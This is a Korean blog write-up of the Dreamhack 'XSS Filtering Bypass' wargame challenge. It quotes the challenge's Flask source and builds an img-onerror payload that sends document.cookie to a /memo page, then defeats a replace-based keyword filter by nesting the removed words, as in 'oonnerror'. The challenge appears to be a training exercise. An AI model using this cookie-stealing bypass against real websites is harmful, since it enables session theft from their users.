Dreamhack

[Dreamhack] XSS Filtering Bypass 풀이

minnggyuu 2024. 3. 20. 21:42

오늘은 XSS Filtering Bypass를 풀어보자.

 

몇 달 전에 풀었지만 기억이 가물가물해서 다시 풀어볼거다.

XSS Filtering Bypass

 

문제 페이지

 

문제 페이지이다. vuln(xss) page와 memo, flag 3개의 페이지가 따로 있다. 

 

vuln(xss) page

 

vuln(xss) page를 접속하게 되면 get으로 파라미터에 <img src= ~~>를 사용했고, 실제 동작하는 모습이다. 

img src 취약점이 있다 라는 것을 보여주려고 vuln 페이지를 만들어 둔 것 같다.

 

memo 페이지를 들어가보자

/memo

 

memo 페이지에서는 hello가 출력되어 있는 모습이다.

url을 보니 memo?memo=hello 이다. memo= 뒤의 문자열을 메모해서 보여주는 것 같다. 

 

memo?=cert 결과

 

아니나 다를까 GET으로 cert라는 문자열을 보내니 'cert' 라는 문자열이 입력된 모습이다.

 

마지막으로 flag 페이지다. 

/flag

 

127.0.0.1:8000/vuln 으로 GET으로 param이라는 파라미터에 데이터를 실어 보내는 것 같다. 

 

그럼 어떻게 flag를 찾아야 할까?

 

소스코드를 보자

 

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

 

/flag 페이지 소스코드이다. 

 

Request Method가 GET이면 flag.html을 띄워주고, POST면 ?param 값을 받아 param이라는 변수에 저장한다. 

그리고 check_xss라는 함수에 param과 name이 flag이고 value가 FLAG.strip()인 값을 전달한다.

 

name과 value가 있는 걸 보니 name이 flag이고, value가 FLAG값인 쿠키를 check_xss라는 함수에 전달하는 것 같다.

그래서 check_xss 함수에 보내는 쿠키의 value 값이 우리가 찾아야 할 flag 값으로 추측된다.

 

그럼 check_xss가 뭐냐

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

 

check_xss 함수는

  1. 받은 param 값으로 urllib으로 URL인코딩을 해 url이라는 변수에 저장한 후 read_url에 전달한다.
  2. 받은 cookie 값을 read_url에 전달한다. 

이렇게 두 가지 역할을 수행한다.

 

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True

 

 

read_url 함수이다. 

url과 cookie 값을 전달 받고, driver = webdriver.Chrome 으로 저장한 뒤

driver.get(url)로 check_xss에서 인코딩한 url 에 get을 보내고,

전달받은 쿠키 값으로 새로운 쿠키를 추가한다.

 

여기까지 코드를 해석해 보았다. 

 

/memo 에서 파라미터 값을 출력해 줬으니까

flag 페이지에서 파라미터 값에 스크립트를 실행시켜 /memo 페이지에 쿠키를 추가해 보내주면 memo 페이지에서 flag 값을 볼 수 있을 것 같다.

 

페이로드를 짜보자

<img src onerror="location.href='/memo?memo='+document.cookie">

 

안된다. 

 

왜 안되나 보니 

vuln(xss) 페이지에 필터링 하는 부분이 있었다. 

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    param = xss_filter(param)
    return param

 

/flag 페이지에서 /vuln으로 get을 보내는데 이 /vuln 페이지에서 필터링을 하고 있다.

vuln 함수는 param의 value값을 받아 xss_filter 함수에 전달하고

 

def xss_filter(text):
    _filter = ["script", "on", "javascript:"]
    for f in _filter:
        if f in text.lower():
            text = text.replace(f, "")
    return text

 

xss_filter 함수는 script, on, javascript 를 필터링하고 있다. 

 

하지만 replace형식으로 되어있어 차단하는 게 아니라 필터링 단어를 없애는 방식으로 되어있다.

이렇게 되면 필터링 단어 안에 또 필터링 단어를 넣어 우회가 가능하다. 

 

<scrscriptipt> -> (안에 있는 script 삭제) -> <script>

 

최종적으로 script가 남게 되므로 스크립트 실행이 가능하게 된다. 

 

페이로드를 수정해보면

<img src oonnerror="locatioonn.href='/memo?memo='+document.cookie">

 

 

성공!